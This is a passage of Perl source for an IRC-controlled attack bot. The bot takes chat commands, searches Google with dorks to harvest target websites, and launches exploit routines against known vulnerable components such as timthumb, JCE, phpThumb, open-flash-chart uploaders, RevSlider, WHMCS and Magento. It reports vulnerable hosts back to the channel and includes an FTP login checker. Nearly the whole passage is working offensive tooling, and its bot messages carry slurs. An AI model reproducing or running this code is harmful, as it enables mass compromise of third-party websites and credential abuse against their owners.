  495.                                 if ($cekby6 =~ /search/i){ $bystats6 = "4,1Up!"; } else { $bystats6 = "0,1Lost!"; }
  496.                                 if ($cekby7 =~ /search/i){ $bystats7 = "4,1Up!"; } else { $bystats7 = "0,1Lost!"; }
  497.                                 if ($cekby8 =~ /search/i){ $bystats8 = "4,1Up!"; } else { $bystats8 = "0,1Lost!"; }
  498.                                 if ($cekby9 =~ /search/i){ $bystats9 = "4,1Up!"; } else { $bystats9 = "0,1Lost!"; }
  499.                                 if ($cekby10 =~ /search/i){ $bystats10 = "4,1Up!"; } else { $bystats10 = "0,1Lost!"; }
  500.                                 if ($cekby11 =~ /search/i){ $bystats11 = "4,1Up!"; } else { $bystats11 = "0,1Lost!"; }
  501.                                 if ($cekby12 =~ /search/i){ $bystats12 = "4,1Up!"; } else { $bystats12 = "0,1Lost!"; }
  502.                                 if ($cekby13 =~ /search/i){ $bystats13 = "4,1Up!"; } else { $bystats13 = "0,1Lost!"; }
  503.  
  504.                  my $bypasslogo = "4,1bypass";sleep(3);
  505.                  &msg("$path","$bypasslogo Checker  ");
  506.                  &msg("$path","$bypasslogo 1 ==> $bystats1");
  507.          &msg("$path","$bypasslogo 2 ==> $bystats2");
  508.          &msg("$path","$bypasslogo 3 ==> $bystats3");
  509.          &msg("$path","$bypasslogo 4 ==> $bystats4");
  510.          &msg("$path","$bypasslogo 5 ==> $bystats5");
  511.          &msg("$path","$bypasslogo 6 ==> $bystats6");
  512.          &msg("$path","$bypasslogo 7 ==> $bystats7");
  513.          &msg("$path","$bypasslogo 8 ==> $bystats8");
  514.          &msg("$path","$bypasslogo 9 ==> $bystats9");
  515.          &msg("$path","$bypasslogo 10 ==> $bystats10");
  516.                  
  517.                
  518.                                   }
  519.                 ##################################################################### SCAN
  520.                 if ($msg =~ /!cari\s+(.*)/) {
  521.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  522.                     my $find = $1;
  523.                     &msg($path,"$carilogo4,1 Searching 0,1$find ");
  524.                     &cari($path,$find);
  525.                     } exit; }
  526.                 }
  527.                 if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  528.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  529.                      my ($bug,$dork) = ($1,$2);
  530.                         my $check = &read_dorks($dork);
  531.                             if ($check == 1) {
  532.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  533.                             } else {
  534.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  535.                         &msg("$path","14scanning timthumb started...");
  536.                                                         sendraw("MODE $path +m");
  537.                             &write_dorks($dork);
  538.                             &se_start($path,$bug,$dork,$engine,1,$nick);
  539.                             }
  540.                         }
  541.                     }
  542.                 }
  543.                
  544.                 if (&isAdmin($nick) && $msg =~ /^$e107cmd\s+(.*)/) {
  545.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  546.                         my ($bug,$dork) = ("contact.php",$1);
  547.                         my $check = &read_dorks($dork);
  548.                             if ($check == 1) {
  549.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  550.                             } else {
  551.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  552.                         &msg("$path","4,1scanning e107 started...");
  553.                                                         sendraw("MODE $path +m");
  554.                             &write_dorks($dork);
  555.                             &se_start($path,$bug,$dork,$engine,3,$nick);
  556.                             }
  557.                         }
  558.                     }
  559.                 }
  560.                
  561.                
  562.                 if (&isAdmin($nick) && $msg =~ /^$zencmd\s+(.*)/) {
  563.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  564.                         my ($bug,$dork) = ("extras/curltest.php",$1);
  565.                         my $check = &read_dorks($dork);
  566.                             if ($check == 1) {
  567.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  568.                             } else {
  569.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  570.                         &msg("$path","4,1scanning zen cart started...");
  571.                                                 sendraw("MODE $path +m");
  572.                             &write_dorks($dork);
  573.                         &se_start($path,$bug,$dork,$engine,6,$nick);
  574.                             }
  575.                         }
  576.                     }
  577.                 }
  578.                 if ($msg =~ /^$jcecmd\s+(.*)/) {
  579.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  580.                         my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
  581.                         my $check = &read_dorks($dork);
  582.                             if ($check == 1) {
  583.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  584.                             } else {
  585.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
  586.                         &msg("$path","4,1scanning jce started...");
  587.                                                 sendraw("MODE $path +m");
  588.                             &write_dorks($dork);
  589.                         &se_start($path,$bug,$dork,$engine,7,$nick);
  590.                             }
  591.                         }
  592.                     }
  593.                 }
  594.                         if ($msg =~ /^$flecmd\s+(.*)/) {
  595.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  596.                 my ($bug,$dork) = ("/components/com_flexicontent/librairies/phpthumb/phpThumb.php",$1);
  597.                 my $check = &read_dorks($dork);
  598.                 if ($check == 1) {
  599.                 &msg("$path","$flelogo3 $nick, 4Dont try re-scan dork "); exit;
  600.             } else {
  601.                 &msg("$path","$flelogo 12Dork7 :4 $dork ");
  602.                 &msg("$path","$flelogo 6Search Engine Loading ...");
  603.                 &se_start($path,$bug,$dork,$engine,30,$nick);
  604.                 &write_dorks($dork);
  605.             }
  606.         }
  607.     }
  608. }
  609.  
  610.                 ##############################################################################################
  611.  
  612.         if ($msg =~ /^$jmucmd\s+(.*)/) {
  613.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  614.                 my ($bug,$dork) = ("/components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php",$1);
  615.                 my $check = &read_dorks($dork);
  616.                 if ($check == 1) {
  617.                 &msg("$path","$jmulogo3 $nick, 4Dont try re-scan dork "); exit;
  618.             } else {
  619.                 &msg("$path","$jmulogo 12Dork7 :4 $dork ");
  620.                 &msg("$path","$jmulogo 6Search Engine Loading ...");
  621.                 &se_start($path,$bug,$dork,$engine,31,$nick);
  622.                 &write_dorks($dork);
  623.             }
  624.         }
  625.     }
  626. }
  627.  
  628.                 ##############################################################################################
  629.  
  630.         if ($msg =~ /^$alpcmd\s+(.*)/) {
  631.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  632.                 my ($bug,$dork) = ("/components/com_alphauserpoints/assets/phpThumb/phpThumb.php",$1);
  633.                 my $check = &read_dorks($dork);
  634.                 if ($check == 1) {
  635.                 &msg("$path","$alplogo3 $nick, 4Dont try re-scan dork "); exit;
  636.             } else {
  637.                 &msg("$path","$alplogo 12Dork7 :4 $dork ");
  638.                 &msg("$path","$alplogo 6Search Engine Loading ...");
  639.                 &se_start($path,$bug,$dork,$engine,32,$nick);
  640.                 &write_dorks($dork);
  641.             }
  642.         }
  643.     }
  644. }
  645.  
  646.                 ##############################################################################################
  647.  
  648.         if ($msg =~ /^$actcmd\s+(.*)/) {
  649.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  650.                 my ($bug,$dork) = ("/components/com_alphacontent/assets/phpThumb/phpThumb.php",$1);
  651.                 my $check = &read_dorks($dork);
  652.                 if ($check == 1) {
  653.                 &msg("$path","$actlogo3 $nic                                                        k, 4Dont try re-scan dork "); exit;
  654.             } else {
  655.                 &msg("$path","$actlogo 12Dork7 :4 $dork ");
  656.                 &msg("$path","$actlogo 6Search Engine Loading ...");
  657.                 &se_start($path,$bug,$dork,$engine,33,$nick);
  658.                 &write_dorks($dork);
  659.             }
  660.         }
  661.     }
  662. }
  663.  
  664.                 ##############################################################################################
  665.  
  666.         if ($msg =~ /^$horcmd\s+(.*)/) {
  667.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  668.                 my ($bug,$dork) = ("/components/com_hotornot2/phpThumb/phpThumb.php",$1);
  669.                 my $check = &read_dorks($dork);
  670.                 if ($check == 1) {
  671.                 &msg("$path","$horlogo3 $nick, 4Dont try re-scan dork "); exit;
  672.             } else {
  673.                 &msg("$path","$horlogo 12Dork7 :4 $dork ");
  674.                 &msg("$path","$horlogo 6Search Engine Loading ...");
  675.                 &se_start($path,$bug,$dork,$engine,34,$nick);
  676.                 &write_dorks($dork);
  677.             }
  678.         }
  679.     }
  680. }
  681.                 if (&isAdmin($nick) && $msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
  682.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  683.                     my ($bug,$dork) = ($1,$2);
  684.                         my $check = &read_dorks($dork);
  685.                             if ($check == 1) {
  686.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  687.                             } else {
  688.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
  689.                         &msg("$path","14scanning xml started...");
  690.                                                         sendraw("MODE $path +m");
  691.                             &write_dorks($dork);
  692.                             &se_start($path,$bug,$dork,$engine,8,$nick);
  693.                             }
  694.                         }
  695.                     }
  696.                 }
  697.                 if ($msg =~ /^$clipcmd\s+(.*)/) {
  698.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  699.                         my ($bug,$dork) = ("/admin_area/charts/ofc-library/ofc_upload_image.php",$1);
  700.                         my $check = &read_dorks($dork);
  701.                             if ($check == 1) {
  702.                                 &msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
  703.                             } else {
  704.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
  705.                         &msg("$path","4,1scanning clip bucket started...");
  706.                                                 sendraw("MODE $path +m");
  707.                             &write_dorks($dork);
  708.                         &se_start($path,$bug,$dork,$engine,9,$nick);
  709.                             }
  710.                         }
  711.                     }
  712.                 }
  713.                 if ($msg =~ /^$fabcmd\s+(.*)/) {
  714.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  715.                 my ($bug,$dork) = ("/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1",$1);
  716.                 my $check = &read_dorks($dork);
  717.                 if ($check == 1) {
  718.                 &msg("$path","$fablogo3 $nick, 4 Gay Dont try re-scan dork "); exit;
  719.             } else {
  720.                 &msg("$path","$fablogo 12Dork7 :4 $dork ");
  721.                 &msg("$path","$fablogo 6Search Engine Loading ...");
  722.                 &se_start($path,$bug,$dork,$engine,29,$nick);
  723.                 &write_dorks($dork);
  724.                             }              
  725.                         }
  726.                     }
  727.                 }
  728.                 if ($msg =~ /^$redcmd\s+(.*)/) {
  729.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  730.                         my ($bug,$dork) = ("/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php",$1);
  731.                         my $check = &read_dorks($dork);
  732.                             if ($check == 1) {
  733.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  734.                             } else {
  735.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
  736.                         &msg("$path","14scanning redmystic started...");
  737.                                                 sendraw("MODE $path +m");
  738.                             &write_dorks($dork);
  739.                         &se_start($path,$bug,$dork,$engine,10,$nick);
  740.                             }
  741.                         }
  742.                     }
  743.                 }
  744.                 if (&isAdmin($nick) && $msg =~ /^$whmcmd\s+(.*)/) {
  745.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  746.                         my ($bug,$dork) = ("/cart.php?a=byroe&templatefile=",$1);
  747.                         my $check = &read_dorks($dork);
  748.                             if ($check == 1) {
  749.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  750.                             } else {
  751.                         &msg("$chanxxx","14,1@4,1$nick 3Coli fucking on 0,1$path ");
  752.                         &msg("$path","4,1scanning whmcs started...");
  753.                                                 sendraw("MODE $path +m");
  754.                             &write_dorks($dork);
  755.                         &se_start($path,$bug,$dork,$engine,11,$nick);
  756.                             }
  757.                         }
  758.                     }
  759.                 }
  760.                 if ($msg =~ /^$livecmd\s+(.*)/) {
  761.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  762.                         my ($bug,$dork) = ("library/openFlashChart/ofc_upload_image.php",$1);
  763.                         my $check = &read_dorks($dork);
  764.                             if ($check == 1) {
  765.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  766.                             } else {
  767.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  768.                         &msg("$path","4,1scanning livecart started...");
  769.                                                 sendraw("MODE $path +m");
  770.                             &write_dorks($dork);
  771.                         &se_start($path,$bug,$dork,$engine,12,$nick);
  772.                             }
  773.                         }
  774.                     }
  775.                 }
  776.                 if (&isAdmin($nick) && $msg =~ /^$refcmd\s+(.*)/) {
  777.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  778.                         my ($bug,$dork) = ("wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php",$1);
  779.                         my $check = &read_dorks($dork);
  780.                             if ($check == 1) {
  781.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  782.                             } else {
  783.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  784.         &msg("$path","4,1scanning reflex gallery started...");
  785.                                                 sendraw("MODE $path +m");
  786.                             &write_dorks($dork);
  787.                         &se_start($path,$bug,$dork,$engine,13,$nick);
  788.                             }
  789.                         }
  790.                     }
  791.                 }
  792.                 if (&isAdmin($nick) && $msg =~ /^$oscocmd\s+(.*)/) {
  793.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  794.                         my $dork = $1;
  795.                         my $check = &read_dorks($dork);
  796.                             if ($check == 1) {
  797.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  798.                             } else {
  799.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  800.                     &msg("$path","4,1scanning oscommerce started...");
  801.                                                         sendraw("MODE $path +m");
  802.                             &write_dorks($dork);
  803.                             &se_start($path,$bug,$dork,$engine,14,$nick);
  804.                             }
  805.                         }
  806.                     }
  807.                 }
  808.                 if ($msg =~ /^$switchcmd\s+(.*)/) {
  809.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  810.                         my ($bug,$dork) = ("wp-content/themes/switchblade/framework/_scripts/valums_uploader/php.php",$1);
  811.                         my $check = &read_dorks($dork);
  812.                             if ($check == 1) {
  813.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  814.                             } else {
  815.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  816.                         &msg("$path","4,1scanning switchblade started...");
  817.                                                 sendraw("MODE $path +m");
  818.                             &write_dorks($dork);
  819.                         &se_start($path,$bug,$dork,$engine,15,$nick);
  820.                             }
  821.                         }
  822.                     }
  823.                 }
  824.                 if ($msg =~ /^$photocmd\s+(.*)/) {
  825.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  826.                         my ($bug,$dork) = ("assets/uploadify/old/uploadify.php",$1);
  827.                         my $check = &read_dorks($dork);
  828.                             if ($check == 1) {
  829.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  830.                             } else {
  831.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  832.                     &msg("$path","4,1scanning photostore started...");
  833.                                                 sendraw("MODE $path +m");
  834.                             &write_dorks($dork);
  835.                         &se_start($path,$bug,$dork,$engine,16,$nick);
  836.                             }
  837.                         }
  838.                     }
  839.                 }
  840.                 if ($msg =~ /^$elemincmd\s+(.*)/) {
  841.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  842.                         my ($bug,$dork) = ("wp-content/themes/elemin/themify/themify-ajax.php",$1);
  843.                         my $check = &read_dorks($dork);
  844.                             if ($check == 1) {
  845.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  846.                             } else {
  847.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  848.                 &msg("$path","4,1scanning elemin started...");
  849.                                                 sendraw("MODE $path +m");
  850.                             &write_dorks($dork);
  851.                         &se_start($path,$bug,$dork,$engine,17,$nick);
  852.                             }
  853.                         }
  854.                     }
  855.                 }
  856.                 if ($msg =~ /^$revcmd\s+(.*)/) {
  857.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  858.                         my $dork = $1;
  859.                         my $check = &read_dorks($dork);
  860.                             if ($check == 1) {
  861.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  862.                             } else {
  863.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  864.                 &msg("$path","4,1scanning RevSlider started...");
  865.                                                 sendraw("MODE $path +m");
  866.                             &write_dorks($dork);
  867.                         &se_start($path,$bug,$dork,$engine,18,$nick);
  868.                             }
  869.                         }
  870.                     }
  871.                 }
  872.                                 if ($msg =~ /^$rescmd\s+(.*)/) {
  873.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  874.                         my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
  875.                         my $check = &read_dorks($dork);
  876.                             if ($check == 1) {
  877.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  878.                             } else {
  879.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  880.                         &msg("$path","4,1scanning RevSlider Upload started...");
  881.                             sendraw("MODE $path +m");
  882.                             &write_dorks($dork);
  883.                             &se_start($path,$bug,$dork,$engine,25,$nick);
  884.                             }
  885.                         }
  886.                     }
  887.                 }
  888.  
  889.                 if ($msg =~ /^$foliocmd\s+(.*)/) {
  890.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  891.                         my ($bug,$dork) = ("administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php",$1);
  892.                         my $check = &read_dorks($dork);
  893.                             if ($check == 1) {
  894.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  895.                             } else {
  896.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  897.                         &msg("$path","4,1scanning folioway started...");
  898.                                                 sendraw("MODE $path +m");
  899.                             &write_dorks($dork);
  900.                         &se_start($path,$bug,$dork,$engine,19,$nick);
  901.                             }
  902.                         }
  903.                     }
  904.                 }
  905.                 if ($msg =~ /^$rcicmd\s+(.*)/) {
  906.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  907.                         my ($bug,$dork) = ("/php-ofc-library/ofc_upload_image.php",$1);
  908.                         my $check = &read_dorks($dork);
  909.                             if ($check == 1) {
  910.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  911.                             } else {
  912.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");;
  913.                         &msg("$path","4,1scanning rci started...");
  914.                                                 sendraw("MODE $path +m");
  915.                             &write_dorks($dork);
  916.                         &se_start($path,$bug,$dork,$engine,20,$nick);
  917.                             }
  918.                         }
  919.                     }
  920.                 }
  921. if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
  922.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  923.                         my ($bug,$dork) = ($1,$2);
  924.                         my $check = &read_dorks($dork);
  925.                             if ($check == 1) {
  926.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  927.                             } else {
  928.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  929.                         &msg("$path","4,1scanning rfi started...");
  930.                                                 sendraw("MODE $path +m");
  931.                             &write_dorks($dork);
  932.                         &se_start($path,$bug,$dork,$engine,4,$nick);
  933.                             }
  934.                         }
  935.                     }
  936.                 }
  937.                 if ($msg =~ /^$upcmd\s+(.*)/) {
  938.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  939.                         my ($bug,$dork) = ("/includes/uploadify/upload_settings_image.php",$1);
  940.                         my $check = &read_dorks($dork);
  941.                             if ($check == 1) {
  942.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  943.                             } else {
  944.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  945.                         &msg("$path","4,1Scanning uploadify started...");
  946.                                                 sendraw("MODE $path +m");
  947.                             &write_dorks($dork);
  948.                         &se_start($path,$bug,$dork,$engine,21,$nick);
  949.                             }
  950.                         }
  951.                     }
  952.                 }
  953.                 if ($msg =~ /^$jinccmd\s+(.*)/) {
  954.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  955.                         my ($bug,$dork) = ("/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1);
  956.                         my $check = &read_dorks($dork);
  957.                             if ($check == 1) {
  958.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  959.                             } else {
  960.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  961.                         &msg("$path","4,1scanning jinc started...");
  962.                                                 sendraw("MODE $path +m");
  963.                             &write_dorks($dork);
  964.                         &se_start($path,$bug,$dork,$engine,22,$nick);
  965.                             }
  966.                         }
  967.                     }
  968.                 }
  969.                 if ($msg =~ /^$jnewscmd\s+(.*)/) {
  970.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  971.                         my ($bug,$dork) = ("/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
  972.                         my $check = &read_dorks($dork);
  973.                             if ($check == 1) {
  974.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  975.                             } else {
  976.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  977.                         &msg("$path","4,1scanning jnews started...");
  978.                                                 sendraw("MODE $path +m");
  979.                             &write_dorks($dork);
  980.                         &se_start($path,$bug,$dork,$engine,23,$nick);
  981.                             }
  982.                         }
  983.                     }
  984.                 }
  985.                                 if ($msg =~ /^$mgcmd\s+(.*)/) {
  986.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  987.                         my $dork = $1;
  988.                         my $check = &read_dorks($dork);
  989.                             if ($check == 1) {
  990.                                 &msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
  991.                             } else {
  992.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  993.                         &msg("$path","4,1scanning Magento started...");
  994.                             sendraw("MODE $path +m");
  995.                             &write_dorks($dork);
  996.                         &se_start($path,$bug,$dork,$engine,26,$nick);
  997.                             }
  998.                         }
  999.                     }
  1000.                 }
  1001.                                 if ($msg =~ /^$mg2cmd\s+(.*)/) {
  1002.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1003.                         my ($bug,$dork) = ("Logo Design by dewi",$1);
  1004.                         my $check = &read_dorks($dork);
  1005.                             if ($check == 1) {
  1006.                                 &msg("$path","4,1$nick 0,1Re-scan detected"); exit;
  1007.                             } else {
  1008.                         &msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
  1009.                         &msg("$path","4,1scanning MagMi started...");
  1010.                             sendraw("MODE $path +m");
  1011.                             &write_dorks($dork);
  1012.                             &se_start($path,$bug,$dork,$engine,27,$nick);
  1013.                             }
  1014.                         }
  1015.                     }
  1016.                 }              
  1017.                 if ($msg =~ /^$jdlcmd\s+(.*)/) {
  1018.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1019.                 my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
  1020.                 my $check = &read_dorks($dork);
  1021.                 if ($check == 1) {
  1022.                 &msg("$path","$jdllogo3 $nick, 4Dont try re-scan dork "); exit;
  1023.             } else {
  1024.                 &msg("$path","$jdllogo 12Dork7 :4 $dork ");
  1025.                 &msg("$path","$jdllogo 6Search Engine Loading ...");
  1026.                 &se_start($path,$bug,$dork,$engine,28,$nick);
  1027.                 &write_dorks($dork);
  1028.             }
  1029.         }
  1030.     }
  1031. }
  1032.                 if ($msg =~ /^$osco2cmd\s+(.*)/) {
  1033.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1034.                         my $dork = $1;                         
  1035.                         &msg("$chanxxx","4,1Bosss...0,1 Lapor4,1 $nick0,1 lagi scan tuh di 4,1$path ");
  1036.                         &msg("$path","$oscologo4,1Dork0,1 $dork ");
  1037. #&msg("$path","$oscologo4WARNING6 :15,1 nahh kan indah semua pada akhir nya... !!!9,1 Okay");
  1038.                 sendraw("MODE $path +m");
  1039.                         &se_start($path,$bug,$dork,$engine,24,$nick);  
  1040.  
  1041.                                        }
  1042.                     }
  1043. }
  1044.                 if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  1045.                 my $url = $_[0];
  1046.                 my $host = $_[1];
  1047.                 my $user = $_[2];
  1048.                 my $pass = $_[3];
  1049.                     if (my $pid = fork) {
  1050.                         waitpid($pid, 0);
  1051.                     } else {
  1052.                         if (fork) { exit; } else {
  1053.                 my ($host,$user,$pass) = ($1,$2,$3);
  1054.                     &msg("$path","4,1[0,1!4,1]FTP 0,1<4,1=0,1>4,1 Checking $host | $user:$pass");
  1055.                     my $success = 1;
  1056.                     use Net::FTP;
  1057.                     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  1058.                     $success = 0 if $ftp->login($user,$pass);
  1059.                     $ftp->quit;
  1060.                     if ($success == 0) {
  1061.                         &notice("$admin","4,1 [0,1FTP4,1] [ 0,1http://".$host." 4,1] [".$user.":".$pass."0,1] 4,1Success ");
  1062.                         } else {
  1063.                         &notice("$admin","4,1 [0,1FTP4,1] [ 0,1http://".$host." 4,1] [".$user.":".$pass."0,1] 4,1Denied ");
  1064.  
  1065.                     }
  1066.                 }
  1067.             }
  1068.         }
  1069.     }
  1070. }
  1071.         for(my $c=0; $c<= $#lines; $c++) {
  1072.             $line = $lines[$c];
  1073.             $line = $line_temp.$line if ($line_temp);
  1074.             $line_temp = '';
  1075.             $line =~ s/\r$//;
  1076.             unless ($c == $#lines) {
  1077.  
  1078.                 parse("$line");
  1079.             } else {
  1080.                 if ($#lines == 0) {
  1081.                     parse("$line");
  1082.                 } elsif ($lines[$c] =~ /\r$/) {
  1083.                     parse("$line");
  1084.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  1085.                     parse("$line");
  1086.                 } else {
  1087.                     $line_temp = $line;
  1088.                 }
  1089.             }
  1090.         }
  1091.     }
  1092. }
  1093.  
  1094. ##################################################################################
  1095.  
  1096. sub magic() {
  1097.     my $dork = $_[0];
  1098.     my @targets;
  1099.     for (my $st=0; $st<=1000 ; $st+=100){
  1100.         my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
  1101.         my $browser = &search_engine_query($engine);
  1102.         while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1103.             my $target = $1;
  1104.             if ($target !~ /google|forum|stackoverflow|php\.net/) {
  1105.                 my @sort = split(/\.php/,$target);
  1106.                 push (@targets,$sort[0]);
  1107.             }
  1108.         }
  1109.     }
  1110.     return @targets;
  1111. }
  1112.  
  1113. sub cari() {
  1114.     my $chan = $_[0];
  1115.     my $dork = $_[1];
  1116.     my $count = 0;
  1117.     my @kotor = &magic($dork);
  1118.     my @target = &clean(@kotor);
  1119.     my $num = scalar(@target); &msg($chan,"$carilogo4,1 Total 0,1[4,1$num4,1]0,1 sites");
  1120.     if ($num > 0) {
  1121.         foreach my $site(@target) {
  1122.             $count++;
  1123.             if ($count == $num-1) {
  1124.                 &msg("$chan","$carilogo4,1Finished 0,1for 4,1$dork ");
  1125.             }
  1126.             my $test = "http://".$site.".php?src=".$thumbshell;
  1127.             if (my $pid = fork) { waitpid($pid, 0); } else {
  1128.                 if (fork) { exit; } else {
  1129.                     my $coba = &get_content($test);
  1130.                     if ($coba =~ /Unable to open image/) {
  1131.                         &msg($chan,"$carilogo4,1 VulN 0,1-> 4,1 http://".$site.".php ");
  1132.                     }
  1133.                 } exit;
  1134.             }
  1135.         }
  1136.     }
  1137. }
  1138.  
  1139. sub type() {
  1140. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  1141.     if ($type == 1){$type=&thumb_exploit($chan,$bug,$dork,$engine,$nick);}
  1142.     elsif ($type == 2){$type=&lfi_exploit($chan,$bug,$dork,$engine,$nick);}
  1143.     elsif ($type == 3){$type=&e107_exploit($chan,$bug,$dork,$engine,$nick);}
  1144.     elsif ($type == 4){$type=&zero_exploit($chan,$bug,$dork,$engine,$nick);}
  1145.     elsif ($type == 5){$type=&mmfc_exploit($chan,$bug,$dork,$engine,$nick);}
  1146.     elsif ($type == 6){$type=&zen_exploit($chan,$bug,$dork,$engine,$nick);}
  1147.     elsif ($type == 6){$type=&zen2_exploit($chan,$bug,$dork,$engine,$nick);}
